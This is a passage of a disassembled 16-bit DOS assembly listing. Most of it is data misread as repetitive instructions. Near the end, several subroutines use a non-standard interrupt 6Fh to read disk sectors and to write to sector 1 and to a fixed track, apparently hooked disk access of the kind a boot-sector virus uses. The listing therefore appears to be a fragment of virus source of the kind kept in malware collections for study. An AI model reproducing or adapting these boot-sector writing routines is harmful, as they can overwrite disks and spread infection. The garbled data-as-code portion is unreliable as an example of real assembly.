  2561.         stosb                ; Store al to es:[di]
  2562.  
  2563.         mov    al,ds:data_0161e
  2564.  
  2565.         mov    al,ds:data_0182e
  2566.  
  2567.         stosb                ; Store al to es:[di]
  2568.  
  2569.         stosb                ; Store al to es:[di]
  2570.  
  2571.         or    ch,[bp+si+80h]
  2572.  
  2573.         add    [bx+si],al
  2574.  
  2575.         add    [bx+si],al
  2576.  
  2577.         add    [bp+si],ch
  2578.  
  2579.         stosb                ; Store al to es:[di]
  2580.  
  2581.         mov    al,ds:data_0033e
  2582.  
  2583.         add    [bx+si],al
  2584.  
  2585.         sub    ch,[bp+si+0]
  2586.  
  2587.         nop                ;*ASM fixup - displacement
  2588.  
  2589.         nop                ;*ASM fixup - sign extn byte
  2590.  
  2591.         add    [bp+si],ch
  2592.  
  2593.         stosb                ; Store al to es:[di]
  2594.  
  2595.         add    [bp+si],al
  2596.  
  2597.         stosb                ; Store al to es:[di]
  2598.  
  2599.         mov    al,ds:data_0185e
  2600.  
  2601.         add    byte ptr [bx+si],0
  2602.  
  2603.         stosb                ; Store al to es:[di]
  2604.  
  2605.         stosb                ; Store al to es:[di]
  2606.  
  2607.         test    al,0
  2608.  
  2609.         add    [bx+si],al
  2610.  
  2611.         add    [bx+si],al
  2612.  
  2613.         add    [bx+si],al
  2614.  
  2615.         add    [bx+si],al
  2616.  
  2617.         add    [bx+si],al
  2618.  
  2619.         add    [bx+si],al
  2620.  
  2621.         add    [bx+si],al
  2622.  
  2623.         add    [bx+si],al
  2624.  
  2625.         add    [bx+si],al
  2626.  
  2627.         add    [bx+si],al
  2628.  
  2629.         add    [bp+si+0A8h],ch
  2630.  
  2631.         add    [bx+si],al
  2632.  
  2633.         add    [bp+si+0AAh],ch
  2634.  
  2635.         or    ch,[bp+si-5556h]
  2636.  
  2637.         stosb                ; Store al to es:[di]
  2638.  
  2639.         stosb                ; Store al to es:[di]
  2640.  
  2641.         mov    al,ds:data_0161e
  2642.  
  2643.         stosb                ; Store al to es:[di]
  2644.  
  2645.         add    [bp+si],al
  2646.  
  2647.         stosb                ; Store al to es:[di]
  2648.  
  2649.         stosb                ; Store al to es:[di]
  2650.  
  2651.         stosb                ; Store al to es:[di]
  2652.  
  2653.         stosb                ; Store al to es:[di]
  2654.  
  2655.         add    byte ptr [bx+si],0
  2656.  
  2657.         add    [bx+si],al
  2658.  
  2659.         add    [bx+si],al
  2660.  
  2661.         stosb                ; Store al to es:[di]
  2662.  
  2663.         stosb                ; Store al to es:[di]
  2664.  
  2665.         add    byte ptr [bx+si],0
  2666.  
  2667.         add    [bx+si],al
  2668.  
  2669.         sub    ch,[bp+si+0]
  2670.  
  2671.         nop                ;*ASM fixup - displacement
  2672.  
  2673.         nop                ;*ASM fixup - sign extn byte
  2674.  
  2675.         add    [bp+si],ch
  2676.  
  2677.         stosb                ; Store al to es:[di]
  2678.  
  2679.         add    [bp+si],al
  2680.  
  2681.         stosb                ; Store al to es:[di]
  2682.  
  2683.         mov    al,byte ptr ds:[0AA0Ah]
  2684.  
  2685.         mov    al,ds:data_0033e
  2686.  
  2687.         add    [bx+si],al
  2688.  
  2689.         add    [bx+si],al
  2690.  
  2691.         add    [bx+si],al
  2692.  
  2693.         add    [bx+si],al
  2694.  
  2695.         add    [bx+si],al
  2696.  
  2697.         add    [bx+si],al
  2698.  
  2699.         add    [bx+si],al
  2700.  
  2701.         add    [bx+si],al
  2702.  
  2703.         add    [bx+si],al
  2704.  
  2705.         add    [bx+si],al
  2706.  
  2707.         add    [bx+si],al
  2708.  
  2709.         add    [bx+si],al
  2710.  
  2711.         add    [bp+si+0A8h],ch
  2712.  
  2713.         add    [bx+si],al
  2714.  
  2715.         add    ch,[bp+si+0A8h]
  2716.  
  2717.         add    [bx+si],al
  2718.  
  2719.         add    [bx+si],al
  2720.  
  2721.         add    [bx+si],al
  2722.  
  2723.         add    [bx+si],al
  2724.  
  2725.         sub    ch,[bp+si+0]
  2726.  
  2727.         nop                ;*ASM fixup - displacement
  2728.  
  2729.         nop                ;*ASM fixup - sign extn byte
  2730.  
  2731.         or    ch,[bp+si-5556h]
  2732.  
  2733.         add    byte ptr [bx+si],0
  2734.  
  2735.         add    [bx+si],al
  2736.  
  2737.         add    [bp+si],cl
  2738.  
  2739.         stosb                ; Store al to es:[di]
  2740.  
  2741.         test    al,0
  2742.  
  2743.         add    [bx+si],al
  2744.  
  2745.         add    [bx+si],al
  2746.  
  2747.         sub    ch,[bp+si+0]
  2748.  
  2749.         nop                ;*ASM fixup - displacement
  2750.  
  2751.         nop                ;*ASM fixup - sign extn byte
  2752.  
  2753.         add    [bp+si],ch
  2754.  
  2755.         stosb                ; Store al to es:[di]
  2756.  
  2757.         add    [bp+si],al
  2758.  
  2759.         stosb                ; Store al to es:[di]
  2760.  
  2761.         mov    al,ds:data_0183e
  2762.  
  2763.         test    al,0
  2764.  
  2765.         add    [bp+si],ch
  2766.  
  2767.         stosb                ; Store al to es:[di]
  2768.  
  2769.         stosb                ; Store al to es:[di]
  2770.  
  2771.         stosb                ; Store al to es:[di]
  2772.  
  2773.         stosb                ; Store al to es:[di]
  2774.  
  2775.         stosb                ; Store al to es:[di]
  2776.  
  2777.         mov    al,ds:data_0033e
  2778.  
  2779.         add    [bx+si],al
  2780.  
  2781.         add    [bx+si],al
  2782.  
  2783.         add    [bx+si],al
  2784.  
  2785.         add    [bx+si],al
  2786.  
  2787.         add    [bx+si],al
  2788.  
  2789.         add    [bx+si],al
  2790.  
  2791.         add    [bx+si],al
  2792.  
  2793.         add    [bx+si],al
  2794.  
  2795.         stosb                ; Store al to es:[di]
  2796.  
  2797.         test    al,0
  2798.  
  2799.         add    [bx+si],al
  2800.  
  2801.         sub    ch,[bp+si+0A0h]
  2802.  
  2803.         add    [bx+si],al
  2804.  
  2805.         add    [bx+si],al
  2806.  
  2807.         add    [bx+si],al
  2808.  
  2809.         add    [bx+si],al
  2810.  
  2811.         sub    ch,[bp+si+0]
  2812.  
  2813.         nop                ;*ASM fixup - displacement
  2814.  
  2815.         nop                ;*ASM fixup - sign extn byte
  2816.  
  2817.         add    [bp+si],ch
  2818.  
  2819.         stosb                ; Store al to es:[di]
  2820.  
  2821.         stosb                ; Store al to es:[di]
  2822.  
  2823.         add    byte ptr [bx+si],0
  2824.  
  2825.         add    [bx+si],al
  2826.  
  2827.         add    [bp+si-7F56h],ch
  2828.  
  2829.         add    [bx+si],al
  2830.  
  2831.         add    [bx+si],al
  2832.  
  2833.         add    [bp+si],ch
  2834.  
  2835.         stosb                ; Store al to es:[di]
  2836.  
  2837.         add    [bx+si],al
  2838.  
  2839.         add    [bp+si],ch
  2840.  
  2841.         stosb                ; Store al to es:[di]
  2842.  
  2843.         add    [bp+si],al
  2844.  
  2845.         stosb                ; Store al to es:[di]
  2846.  
  2847.         mov    al,ds:data_0161e
  2848.  
  2849.         stosb                ; Store al to es:[di]
  2850.  
  2851.         add    byte ptr [bx+si],0
  2852.  
  2853.         add    [bx+si],al
  2854.  
  2855.         add    [bx+si],al
  2856.  
  2857.         add    [bx+si],al
  2858.  
  2859.         add    [bx+si],al
  2860.  
  2861.         add    [bx+si],al
  2862.  
  2863.         add    [bx+si],al
  2864.  
  2865.         add    [bx+si],al
  2866.  
  2867.         add    [bx+si],al
  2868.  
  2869.         add    [bx+si],al
  2870.  
  2871.         add    [bx+si],al
  2872.  
  2873.         add    [bx+si],al
  2874.  
  2875.         add    [bx+si],al
  2876.  
  2877.         stosb                ; Store al to es:[di]
  2878.  
  2879.         test    al,0
  2880.  
  2881.         add    [bp+si],ch
  2882.  
  2883.         stosb                ; Store al to es:[di]
  2884.  
  2885.         stosb                ; Store al to es:[di]
  2886.  
  2887.         add    [bx+si],al
  2888.  
  2889.         add    [bx+si],al
  2890.  
  2891.         add    [bx+si],al
  2892.  
  2893.         add    [bx+si],al
  2894.  
  2895.         add    [bx+si],al
  2896.  
  2897.         sub    ch,[bp+si+0]
  2898.  
  2899.         nop                ;*ASM fixup - displacement
  2900.  
  2901.         nop                ;*ASM fixup - sign extn byte
  2902.  
  2903.         add    [bx+si],al
  2904.  
  2905.         stosb                ; Store al to es:[di]
  2906.  
  2907.         stosb                ; Store al to es:[di]
  2908.  
  2909.         add    byte ptr [bx+si],0
  2910.  
  2911.         add    [bx+si],al
  2912.  
  2913.         add    ch,[bp+si+0AAh]
  2914.  
  2915.         add    [bx+si],al
  2916.  
  2917.         add    [bx+si],al
  2918.  
  2919.         add    [bp+si],cl
  2920.  
  2921.         stosb                ; Store al to es:[di]
  2922.  
  2923.         mov    al,byte ptr data_0041+40h    ; (' ')
  2924.  
  2925.         stosb                ; Store al to es:[di]
  2926.  
  2927.         test    al,0
  2928.  
  2929.         add    ch,[bp+si+0A0h]
  2930.  
  2931.         or    ch,[bp+si+0A0h]
  2932.  
  2933.         add    [bp+si-5556h],ch
  2934.  
  2935.         stosb                ; Store al to es:[di]
  2936.  
  2937.         stosb                ; Store al to es:[di]
  2938.  
  2939.         stosb                ; Store al to es:[di]
  2940.  
  2941.         stosb                ; Store al to es:[di]
  2942.  
  2943.         add    byte ptr [bx+si],0
  2944.  
  2945.         add    [bx+si],al
  2946.  
  2947.         add    [bx+si],al
  2948.  
  2949.         add    [bx+si],al
  2950.  
  2951.         add    [bx+si],al
  2952.  
  2953.         add    [bx+si],al
  2954.  
  2955.         add    [bx+si],al
  2956.  
  2957.         add    [bx+si],al
  2958.  
  2959.         stosb                ; Store al to es:[di]
  2960.  
  2961.         test    al,0
  2962.  
  2963.         stosb                ; Store al to es:[di]
  2964.  
  2965.         stosb                ; Store al to es:[di]
  2966.  
  2967.         stosb                ; Store al to es:[di]
  2968.  
  2969.         mov    al,ds:data_0033e
  2970.  
  2971.         or    ch,[bp+si-5556h]
  2972.  
  2973.         stosb                ; Store al to es:[di]
  2974.  
  2975.         stosb                ; Store al to es:[di]
  2976.  
  2977.         mov    al,ds:data_0161e
  2978.  
  2979.         stosb                ; Store al to es:[di]
  2980.  
  2981.         add    [bx+si],al
  2982.  
  2983.         add    [bx+si],al
  2984.  
  2985.         or    ch,[bp+si+80h]
  2986.  
  2987.         mul    byte ptr [si]        ; ax = data * al
  2988.  
  2989.         sub    [bx+si],al
  2990.  
  2991.         add    [bx+si],al
  2992.  
  2993.         sub    ch,[bp+si+200h]
  2994.  
  2995.         stosb                ; Store al to es:[di]
  2996.  
  2997.         mov    al,ds:data_0033e
  2998.  
  2999.         add    ch,[bp+si+0A8h]
  3000.  
  3001.         add    [bp+si],al
  3002.  
  3003.         stosb                ; Store al to es:[di]
  3004.  
  3005.         mov    al,ds:data_0033e
  3006.  
  3007.         add    [bx+si],al
  3008.  
  3009.         add    [bx+si],al
  3010.  
  3011.         add    [bx+si],al
  3012.  
  3013.         add    [bx+si],al
  3014.  
  3015.         add    [bx+si],al
  3016.  
  3017.         add    [bx+si],al
  3018.  
  3019.         add    [bx+si],al
  3020.  
  3021.         add    [bx+si],al
  3022.  
  3023.         add    [bx+si],al
  3024.  
  3025.         stosb                ; Store al to es:[di]
  3026.  
  3027.         test    al,0
  3028.  
  3029.         stosb                ; Store al to es:[di]
  3030.  
  3031.         stosb                ; Store al to es:[di]
  3032.  
  3033.         test    al,0
  3034.  
  3035.         add    [bx+si],al
  3036.  
  3037.         or    ch,[bp+si-5556h]
  3038.  
  3039.         stosb                ; Store al to es:[di]
  3040.  
  3041.         stosb                ; Store al to es:[di]
  3042.  
  3043.         mov    al,ds:data_0161e
  3044.  
  3045.         add    byte ptr [bx+si],0
  3046.  
  3047.         add    [bx+si],al
  3048.  
  3049.         or    ch,[bp+si+80h]
  3050.  
  3051.         add    [bx+si],al
  3052.  
  3053.         add    ch,[bp+si-5556h]
  3054.  
  3055.         stosb                ; Store al to es:[di]
  3056.  
  3057.         stosb                ; Store al to es:[di]
  3058.  
  3059.         stosb                ; Store al to es:[di]
  3060.  
  3061.         stosb                ; Store al to es:[di]
  3062.  
  3063.         add    byte ptr [bx+si],2Ah    ; '*'
  3064.  
  3065.         stosb                ; Store al to es:[di]
  3066.  
  3067.         add    [bx+si],al
  3068.  
  3069.         add    [bp+si],ch
  3070.  
  3071.         stosb                ; Store al to es:[di]
  3072.  
  3073.         add    [bp+si],al
  3074.  
  3075.         stosb                ; Store al to es:[di]
  3076.  
  3077.         mov    al,ds:data_0033e
  3078.  
  3079.         sub    ch,[bp+si+80h]
  3080.  
  3081.         add    [bx+si],al
  3082.  
  3083.         add    [bx+si],al
  3084.  
  3085.         add    [bx+si],al
  3086.  
  3087.         add    [bx+si],al
  3088.  
  3089.         add    [bx+si],al
  3090.  
  3091.         add    [bx+si],al
  3092.  
  3093.         add    [bx+si],al
  3094.  
  3095.         add    [bx+si],al
  3096.  
  3097.         add    [bx+si],al
  3098.  
  3099.         add    [bx+si],al
  3100.  
  3101.         add    [bx+si],al
  3102.  
  3103.         add    [bx+si],al
  3104.  
  3105.         stosb                ; Store al to es:[di]
  3106.  
  3107.         test    al,0
  3108.  
  3109.         stosb                ; Store al to es:[di]
  3110.  
  3111.         stosb                ; Store al to es:[di]
  3112.  
  3113.         stosb                ; Store al to es:[di]
  3114.  
  3115.         mov    al,ds:data_0033e
  3116.  
  3117.         or    ch,[bp+si-5556h]
  3118.  
  3119.         stosb                ; Store al to es:[di]
  3120.  
  3121.         stosb                ; Store al to es:[di]
  3122.  
  3123.         mov    al,ds:data_0161e
  3124.  
  3125.         test    al,0
  3126.  
  3127.         add    [bx+si],al
  3128.  
  3129.         add    [bp+si],cl
  3130.  
  3131.         stosb                ; Store al to es:[di]
  3132.  
  3133.         add    byte ptr [bx+si],0
  3134.  
  3135.         add    [bp+si],al
  3136.  
  3137.         stosb                ; Store al to es:[di]
  3138.  
  3139.         stosb                ; Store al to es:[di]
  3140.  
  3141.         stosb                ; Store al to es:[di]
  3142.  
  3143.         stosb                ; Store al to es:[di]
  3144.  
  3145.         stosb                ; Store al to es:[di]
  3146.  
  3147.         stosb                ; Store al to es:[di]
  3148.  
  3149.         stosb                ; Store al to es:[di]
  3150.  
  3151.         add    [bx+si],al
  3152.  
  3153.         sub    ch,[bp+si+0]
  3154.  
  3155.         nop                ;*ASM fixup - displacement
  3156.  
  3157.         nop                ;*ASM fixup - sign extn byte
  3158.  
  3159.         add    [bp+si],ch
  3160.  
  3161.         stosb                ; Store al to es:[di]
  3162.  
  3163.         add    [bp+si],al
  3164.  
  3165.         stosb                ; Store al to es:[di]
  3166.  
  3167.         mov    al,ds:data_0033e
  3168.  
  3169.         stosb                ; Store al to es:[di]
  3170.  
  3171.         test    al,0
  3172.  
  3173.         add    [bp+si],ch
  3174.  
  3175.         stosb                ; Store al to es:[di]
  3176.  
  3177.         stosb                ; Store al to es:[di]
  3178.  
  3179.         stosb                ; Store al to es:[di]
  3180.  
  3181.         stosb                ; Store al to es:[di]
  3182.  
  3183.         stosb                ; Store al to es:[di]
  3184.  
  3185.         stosb                ; Store al to es:[di]
  3186.  
  3187.         add    [bx+si],al
  3188.  
  3189.         add    [bx+si],al
  3190.  
  3191.         add    [bx+si],al
  3192.  
  3193.         add    [bx+si],al
  3194.  
  3195.         add    [bx+si],al
  3196.  
  3197.         add    [bx+si],al
  3198.  
  3199.         add    [bx+si],al
  3200.  
  3201.         add    [bx+si],al
  3202.  
  3203.         add    [bp+si+0A8h],ch
  3204.  
  3205.         add    [bp+si],ch
  3206.  
  3207.         stosb                ; Store al to es:[di]
  3208.  
  3209.         stosb                ; Store al to es:[di]
  3210.  
  3211.         add    [bx+si],al
  3212.  
  3213.         add    [bx+si],al
  3214.  
  3215.         add    [bx+si],al
  3216.  
  3217.         add    [bx+si],al
  3218.  
  3219.         add    [bx+si],al
  3220.  
  3221.         sub    ch,[bp+si+0A0h]
  3222.  
  3223.         add    [bx+si],al
  3224.  
  3225.         or    ch,[bp+si+80h]
  3226.  
  3227.         add    [bx+si],al
  3228.  
  3229.         add    [bx+si],al
  3230.  
  3231.         add    [bx+si],al
  3232.  
  3233.         add    [bx+si],al
  3234.  
  3235.         add    [bx+si],al
  3236.  
  3237.         add    [bx+si],al
  3238.  
  3239.         sub    ch,[bp+si+0]
  3240.  
  3241.         nop                ;*ASM fixup - displacement
  3242.  
  3243.         nop                ;*ASM fixup - sign extn byte
  3244.  
  3245.         add    [bp+si],ch
  3246.  
  3247.         stosb                ; Store al to es:[di]
  3248.  
  3249.         add    [bp+si],al
  3250.  
  3251.         stosb                ; Store al to es:[di]
  3252.  
  3253.         mov    al,byte ptr data_0041+40h    ; (' ')
  3254.  
  3255.         stosb                ; Store al to es:[di]
  3256.  
  3257.         mov    al,byte ptr data_0041+40h    ; (' ')
  3258.  
  3259.         stosb                ; Store al to es:[di]
  3260.  
  3261.         stosb                ; Store al to es:[di]
  3262.  
  3263.         add    byte ptr [bx+si],0
  3264.  
  3265.         add    [bx+si],al
  3266.  
  3267.         add    [bx+si],al
  3268.  
  3269.         add    [bx+si],al
  3270.  
  3271.         add    [bx+si],al
  3272.  
  3273.         add    [bx+si],al
  3274.  
  3275.         add    [bx+si],al
  3276.  
  3277.         add    [bx+si],al
  3278.  
  3279.         add    [bx+si],al
  3280.  
  3281.         add    [bx+si],al
  3282.  
  3283.         add    [bp+si+0A8h],ch
  3284.  
  3285.         add    [bx+si],al
  3286.  
  3287.         sub    ch,[bp+si+0A0h]
  3288.  
  3289.         add    [bx+si],al
  3290.  
  3291.         add    [bx+si],al
  3292.  
  3293.         add    [bx+si],al
  3294.  
  3295.         add    [bx+si],al
  3296.  
  3297.         sub    ch,[bp+si-7F56h]
  3298.  
  3299.         add    [bx+si],al
  3300.  
  3301.         or    ch,[bp+si+80h]
  3302.  
  3303.         add    [bx+si],al
  3304.  
  3305.         add    [bx+si],al
  3306.  
  3307.         add    [bx+si],al
  3308.  
  3309.         add    [bx+si],al
  3310.  
  3311.         add    [bx+si],al
  3312.  
  3313.         add    [bx+si],al
  3314.  
  3315.         sub    ch,[bp+si+0]
  3316.  
  3317.         nop                ;*ASM fixup - displacement
  3318.  
  3319.         nop                ;*ASM fixup - sign extn byte
  3320.  
  3321.         add    [bp+si],ch
  3322.  
  3323.         stosb                ; Store al to es:[di]
  3324.  
  3325.         add    [bp+si],al
  3326.  
  3327.         stosb                ; Store al to es:[di]
  3328.  
  3329.         mov    al,ds:data_0033e
  3330.  
  3331.         sub    al,[bx+si+0]
  3332.  
  3333.         nop                ;*ASM fixup - displacement
  3334.  
  3335.         nop                ;*ASM fixup - sign extn byte
  3336.  
  3337.         add    [bx+si],al
  3338.  
  3339.         add    [bx+si],al
  3340.  
  3341.         add    [bx+si],al
  3342.  
  3343.         add    [bx+si],al
  3344.  
  3345.         add    [bx+si],al
  3346.  
  3347.         add    [bx+si],al
  3348.  
  3349.         add    [bx+si],al
  3350.  
  3351.         add    [bx+si],al
  3352.  
  3353.         add    [bx+si],al
  3354.  
  3355.         add    [bx+si],al
  3356.  
  3357.         add    [bx+si],al
  3358.  
  3359.         add    [bx+si],al
  3360.  
  3361.         stosb                ; Store al to es:[di]
  3362.  
  3363.         test    al,0
  3364.  
  3365.         add    [bx+si],al
  3366.  
  3367.         add    ch,[bp+si+0A8h]
  3368.  
  3369.         add    [bx+si],al
  3370.  
  3371.         add    [bx+si],al
  3372.  
  3373.         add    [bx+si],al
  3374.  
  3375.         add    [bx+si],al
  3376.  
  3377.         add    [bp+si-5556h],ch
  3378.  
  3379.         add    [bx+si],al
  3380.  
  3381.         or    ch,[bp+si+80h]
  3382.  
  3383.         add    [bx+si],al
  3384.  
  3385.         add    [bx+si],al
  3386.  
  3387.         add    [bx+si],al
  3388.  
  3389.         or    ch,[bp+si+0A8h]
  3390.  
  3391.         add    [bx+si],al
  3392.  
  3393.         sub    ch,[bp+si+0]
  3394.  
  3395.         nop                ;*ASM fixup - displacement
  3396.  
  3397.         nop                ;*ASM fixup - sign extn byte
  3398.  
  3399.         add    [bp+si],ch
  3400.  
  3401.         stosb                ; Store al to es:[di]
  3402.  
  3403.         add    [bp+si],al
  3404.  
  3405.         stosb                ; Store al to es:[di]
  3406.  
  3407.         mov    al,ds:data_0179e
  3408.  
  3409.         or    [bx+si],al
  3410.  
  3411.         add    [bp+si],ch
  3412.  
  3413.         stosb                ; Store al to es:[di]
  3414.  
  3415.         stosb                ; Store al to es:[di]
  3416.  
  3417.         stosb                ; Store al to es:[di]
  3418.  
  3419.         stosb                ; Store al to es:[di]
  3420.  
  3421.         stosb                ; Store al to es:[di]
  3422.  
  3423.         mov    al,ds:data_0033e
  3424.  
  3425.         add    [bx+si],al
  3426.  
  3427.         add    [bx+si],al
  3428.  
  3429.         add    [bx+si],al
  3430.  
  3431.         add    [bx+si],al
  3432.  
  3433.         add    [bx+si],al
  3434.  
  3435.         add    [bx+si],al
  3436.  
  3437.         add    [bx+si],al
  3438.  
  3439.         add    [bx+si],al
  3440.  
  3441.         stosb                ; Store al to es:[di]
  3442.  
  3443.         test    al,0
  3444.  
  3445.         add    [bx+si],al
  3446.  
  3447.         add    [bp+si+0AAh],ch
  3448.  
  3449.         add    [bx+si],al
  3450.  
  3451.         add    [bx+si],al
  3452.  
  3453.         add    [bx+si],al
  3454.  
  3455.         add    [bx+si],al
  3456.  
  3457.         add    [bp+si],cl
  3458.  
  3459.         stosb                ; Store al to es:[di]
  3460.  
  3461.         stosb                ; Store al to es:[di]
  3462.  
  3463.         test    al,0
  3464.  
  3465.         or    ch,[bp+si+80h]
  3466.  
  3467.         add    [bx+si],al
  3468.  
  3469.         add    [bx+si],al
  3470.  
  3471.         add    [bx+si],al
  3472.  
  3473.         stosb                ; Store al to es:[di]
  3474.  
  3475.         stosb                ; Store al to es:[di]
  3476.  
  3477.         add    byte ptr [bx+si],0
  3478.  
  3479.         add    [bp+si],ch
  3480.  
  3481.         stosb                ; Store al to es:[di]
  3482.  
  3483.         add    [bx+si],al
  3484.  
  3485.         add    [bp+si],ch
  3486.  
  3487.         stosb                ; Store al to es:[di]
  3488.  
  3489.         add    [bp+si],al
  3490.  
  3491.         stosb                ; Store al to es:[di]
  3492.  
  3493.         mov    al,byte ptr ds:[0A00Ah]
  3494.  
  3495.         add    [bx+si],al
  3496.  
  3497.         add    [bx+si],al
  3498.  
  3499.         add    [bx+si],al
  3500.  
  3501.         add    [bx+si],al
  3502.  
  3503.         add    [bx+si],al
  3504.  
  3505.         add    [bx+si],al
  3506.  
  3507.         add    [bx+si],al
  3508.  
  3509.         add    [bx+si],al
  3510.  
  3511.         add    [bx+si],al
  3512.  
  3513.         add    [bx+si],al
  3514.  
  3515.         add    [bx+si],al
  3516.  
  3517.         add    dh,dh
  3518.  
  3519.         and    bp,[bx+si]
  3520.  
  3521.         add    [bx+si],al
  3522.  
  3523.         push    ax
  3524.  
  3525.         push    bx
  3526.  
  3527.         push    cx
  3528.  
  3529.         push    dx
  3530.  
  3531.         cmp    data_0045,1
  3532.  
  3533.         jne    loc_0021        ; Jump if not equal
  3534.  
  3535.         cmp    data_0044,0
  3536.  
  3537.         je    loc_0022        ; Jump if equal
  3538.  
  3539. loc_0021:
  3540.  
  3541.         xor    ah,ah            ; Zero register
  3542.  
  3543.         int    6Fh            ; ??int non-standard interrupt
  3544.  
  3545.         jc    loc_0022        ; Jump if carry Set
  3546.  
  3547.         mov    dh,data_0044
  3548.  
  3549.         mov    dl,byte ptr cs:[529h]
  3550.  
  3551.         mov    cx,data_0045
  3552.  
  3553.         mov    bx,200h
  3554.  
  3555.         mov    ax,201h
  3556.  
  3557.         int    6Fh            ; ??int non-standard interrupt
  3558.  
  3559. loc_0022:
  3560.  
  3561.         pop    dx
  3562.  
  3563.         pop    cx
  3564.  
  3565.         pop    bx
  3566.  
  3567.         pop    ax
  3568.  
  3569.         retn
  3570.  
  3571. sub_0003    endp
  3572.  
  3573.  
  3574.  
  3575.         db     50h, 53h, 51h, 52h, 32h
  3576.  
  3577.         dw    0CDE4h            ; Data table (indexed access)
  3578.  
  3579.         db    6Fh
  3580.  
  3581.         dw    1272h            ; Data table (indexed access)
  3582.  
  3583.         db     32h,0F6h, 2Eh, 8Ah, 16h, 29h
  3584.  
  3585.         db     05h,0B9h, 21h, 28h,0BBh, 00h
  3586.  
  3587.         db     02h,0B8h, 01h, 02h,0CDh, 6Fh
  3588.  
  3589.         db     5Ah, 59h, 5Bh, 58h,0C3h, 50h
  3590.  
  3591.         db     53h, 51h, 52h, 32h,0E4h,0CDh
  3592.  
  3593.         db     6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
  3594.  
  3595.         db     16h, 29h, 05h,0B5h, 28h,0BBh
  3596.  
  3597.         db     7Ch, 06h,0B8h, 09h, 05h,0CDh
  3598.  
  3599.         db     6Fh, 73h, 05h,0F6h,0C4h, 82h
  3600.  
  3601.         db     75h, 03h
  3602.  
  3603.         db    0E8h, 29h, 00h
  3604.  
  3605.         db     5Ah, 59h, 5Bh, 58h,0C3h, 28h
  3606.  
  3607.         db     00h, 21h, 02h, 28h, 00h, 22h
  3608.  
  3609.         db     02h, 28h, 00h, 23h, 02h, 28h
  3610.  
  3611.         db     00h, 24h, 02h, 28h, 00h, 25h
  3612.  
  3613.         db     02h, 28h, 00h, 26h, 02h, 28h
  3614.  
  3615.         db     00h, 27h, 02h, 28h, 00h, 28h
  3616.  
  3617.         db     02h, 28h, 00h, 29h, 02h
  3618.  
  3619.  
  3620.  
  3621. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3622.  
  3623. ;                   SUBROUTINE
  3624.  
  3625. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3626.  
  3627.  
  3628.  
  3629. sub_0005    proc    near
  3630.  
  3631.         push    ax
  3632.  
  3633.         push    bx
  3634.  
  3635.         push    cx
  3636.  
  3637.         push    dx
  3638.  
  3639.         xor    ah,ah            ; Zero register
  3640.  
  3641.         int    6Fh            ; ??int non-standard interrupt
  3642.  
  3643.         jc    loc_0026        ; Jump if carry Set
  3644.  
  3645.         xor    dh,dh            ; Zero register
  3646.  
  3647.         mov    dl,byte ptr ds:[529h]
  3648.  
  3649.         mov    cx,2821h
  3650.  
  3651.         mov    bx,200h
  3652.  
  3653.         mov    ax,309h
  3654.  
  3655.         int    6Fh            ; ??int non-standard interrupt
  3656.  
  3657.         jnc    loc_0025        ; Jump if carry=0
  3658.  
  3659.         test    ah,82h
  3660.  
  3661.         jnz    loc_0026        ; Jump if not zero
  3662.  
  3663. loc_0025:
  3664.  
  3665.         xor    bx,bx            ; Zero register
  3666.  
  3667.         call    sub_0006
  3668.  
  3669.         cmp    cs:data_0050,3
  3670.  
  3671.         jb    loc_0026        ; Jump if below
  3672.  
  3673.         call    sub_0007
  3674.  
  3675. loc_0026:
  3676.  
  3677.         pop    dx
  3678.  
  3679.         pop    cx
  3680.  
  3681.         pop    bx
  3682.  
  3683.         pop    ax
  3684.  
  3685.         retn
  3686.  
  3687. sub_0005    endp
  3688.  
  3689.  
  3690.  
  3691.  
  3692.  
  3693. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3694.  
  3695. ;                   SUBROUTINE
  3696.  
  3697. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3698.  
  3699.  
  3700.  
  3701. sub_0006    proc    near
  3702.  
  3703.         push    ax
  3704.  
  3705.         push    cx
  3706.  
  3707.         push    dx
  3708.  
  3709.         xor    ah,ah            ; Zero register
  3710.  
  3711.         int    6Fh            ; ??int non-standard interrupt
  3712.  
  3713.         jc    loc_0027        ; Jump if carry Set
  3714.  
  3715.         xor    dh,dh            ; Zero register
  3716.  
  3717.         mov    dl,byte ptr cs:[529h]
  3718.  
  3719.         mov    cx,1
  3720.  
  3721.         mov    ax,301h
  3722.  
  3723.         int    6Fh            ; ??int non-standard interrupt
  3724.  
  3725. loc_0027:
  3726.  
  3727.         pop    dx
  3728.  
  3729.         pop    cx
  3730.  
  3731.         pop    ax
  3732.  
  3733.         retn
  3734.  
  3735. sub_0006    endp
  3736.  
  3737.  
  3738.  
  3739.  
  3740.  
  3741. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3742.  
  3743. ;                   SUBROUTINE
  3744.  
  3745. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3746.  
  3747.  
  3748.  
  3749. sub_0007    proc    near
  3750.  
  3751. ;*        jmp    short loc_0028        ;*
  3752.  
